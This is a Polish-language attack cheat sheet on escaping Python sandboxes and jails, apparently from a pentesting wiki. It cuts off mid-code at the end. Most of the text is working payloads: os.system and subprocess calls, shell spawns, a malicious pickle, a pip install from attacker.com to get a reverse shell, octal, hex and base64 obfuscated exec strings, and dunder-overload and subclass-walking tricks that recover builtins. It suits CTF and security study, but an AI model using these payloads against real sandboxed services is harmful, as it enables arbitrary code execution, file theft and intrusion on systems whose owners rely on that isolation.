Bypass Python sandboxes

Reading time: 39 minutes

Oto kilka trików na obejście zabezpieczeń python sandboxes i wykonanie dowolnych poleceń.

Biblioteki do wykonywania poleceń

Pierwsza rzecz, którą musisz wiedzieć, to czy możesz bezpośrednio wykonać kod przy użyciu jakiejś już zaimportowanej biblioteki, albo czy możesz zaimportować którąkolwiek z poniższych bibliotek:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Pamiętaj, że funkcje open i read mogą być przydatne do czytania plików wewnątrz python sandbox i do zapisania kodu, który możesz wykonać, aby obejść sandbox.

[!CAUTION] > Funkcja Python2 input() pozwala na wykonanie kodu python zanim program się zawiesi.

Python próbuje najpierw ładować biblioteki z bieżącego katalogu (następujące polecenie wypisze, skąd python ładuje moduły): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox z domyślnie zainstalowanymi pakietami python

Domyślne pakiety

Możesz znaleźć listę wstępnie zainstalowanych pakietów tutaj: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Zauważ, że z poziomu pickle możesz spowodować, że środowisko python zaimportuje dowolne biblioteki zainstalowane w systemie.
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby ją wykorzystać:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Aby uzyskać więcej informacji o tym, jak działa pickle, sprawdź to: https://checkoway.net/musings/pickle/

Pip package

Sztuczka udostępniona przez @isHaacK

Jeśli masz dostęp do pip lub pip.main(), możesz zainstalować dowolny pakiet i uzyskać reverse shell wywołując:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Możesz pobrać pakiet do utworzenia reverse shell tutaj. Pamiętaj, że przed użyciem powinieneś rozpakować go, zmienić setup.py i wstawić swój IP dla reverse shell:

Eval-ing python code

Jeśli pewne znaki są zabronione, możesz użyć reprezentacji hex/octal/B64, aby bypass ograniczenia:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Inne biblioteki pozwalające na eval kodu python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Zobacz też real-world sandboxed evaluator escape w generatorach PDF:

• ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval, by uzyskać dostęp do function.globals i os.system przez oceniane atrybuty (na przykład kolor czcionki) i zwraca prawidłową wartość, aby utrzymać stabilne renderowanie.

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733

Operatory i krótkie sztuczki

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Ominięcie zabezpieczeń przez kodowania (UTF-7)

W this writeup UFT-7 jest używany do załadowania i wykonania dowolnego kodu python wewnątrz pozornego sandboxa:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Możliwe jest również obejście tego przy użyciu innych kodowań, np. raw_unicode_escape i unicode_escape.

Wykonywanie kodu Pythona bez wywołań

Jeśli znajdujesz się w python jail, który nie pozwala na wykonywanie wywołań, wciąż istnieją sposoby na wykonywanie dowolnych funkcji, kodu i poleceń.

RCE with decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE tworzenie obiektów i przeciążanie

Jeśli możesz zadeklarować klasę i utworzyć obiekt tej klasy, możesz zdefiniować/nadpisać różne metody, które mogą być wywołane bez konieczności wywoływania ich bezpośrednio.

RCE z niestandardowymi klasami

Możesz zmodyfikować niektóre metody klasy (nadpisując istniejące metody klasy lub tworząc nową klasę), aby sprawić, że będą one wykonywać dowolny kod, gdy zostaną wywołane bez konieczności ich bezpośredniego wywoływania.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Tworzenie obiektów za pomocą metaclasses

Kluczową rzeczą, którą metaclasses pozwalają nam zrobić, jest utworzyć instancję klasy bez bezpośredniego wywoływania konstruktora, poprzez stworzenie nowej klasy z docelową klasą jako metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Tworzenie obiektów za pomocą wyjątków

Kiedy wyjątek zostanie zgłoszony, obiekt Exception jest utworzony bez konieczności wywoływania konstruktora bezpośrednio (sztuczka od @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Więcej RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Odczyt pliku przy użyciu builtins help i license

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Funkcje wbudowane

• Builtins functions of python2
• Builtins functions of python3

Jeśli możesz uzyskać dostęp do obiektu __builtins__, możesz importować biblioteki (zauważ, że możesz też użyć tutaj innych reprezentacji typu string pokazanych w ostatniej sekcji):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Brak __builtins__

Kiedy nie masz __builtins__ nie będziesz w stanie importować czegokolwiek ani nawet czytać czy zapisywać plików, ponieważ wszystkie funkcje globalne (takie jak open, import, print...) nie są załadowane.
Jednak domyślnie python importuje wiele modułów do pamięci. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich także importują niebezpieczne funkcjonalności wewnątrz, do których można uzyskać dostęp i osiągnąć nawet arbitrary code execution.

W poniższych przykładach możesz zobaczyć, jak wykorzystać niektóre z tych "benign" załadowanych modułów, by uzyskać dostęp do niebezpiecznych funkcjonalności w ich wnętrzu.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Poniżej znajduje się większa funkcja aby znaleźć dziesiątki/setki miejsc, gdzie można znaleźć builtins.

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Sprawdzenie globals i locals to dobry sposób, by wiedzieć, do czego masz dostęp.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Poniżej znajduje się większa funkcja

Odkrywanie możliwości uruchamiania dowolnego kodu

Tutaj chcę wyjaśnić, jak łatwo odkryć bardziej niebezpieczne załadowane funkcjonalności i zaproponować bardziej niezawodne exploits.

Dostęp do podklas z obejściami

Jedną z najbardziej wrażliwych części tej techniki jest możliwość dostępu do bazowych podklas. W poprzednich przykładach zrobiono to przy użyciu ''.__class__.__base__.__subclasses__(), ale istnieją inne możliwe sposoby:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Wyszukiwanie załadowanych niebezpiecznych bibliotek

Na przykład, wiedząc, że dzięki bibliotece sys można importować dowolne biblioteki, możesz przeszukać wszystkie załadowane moduły, które zawierają import sys:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Jest ich wiele, a wystarczy nam jedna, aby wykonać polecenia:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Możemy zrobić to samo z innymi bibliotekami, o których wiemy, że mogą być użyte do wykonywania poleceń:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Co więcej, możemy nawet wyszukać, które moduły ładują złośliwe biblioteki:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Co więcej, jeśli uważasz, że inne biblioteki mogą być w stanie wywoływać funkcje wykonujące polecenia, możemy także filtrować według nazw funkcji w obrębie możliwych bibliotek:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
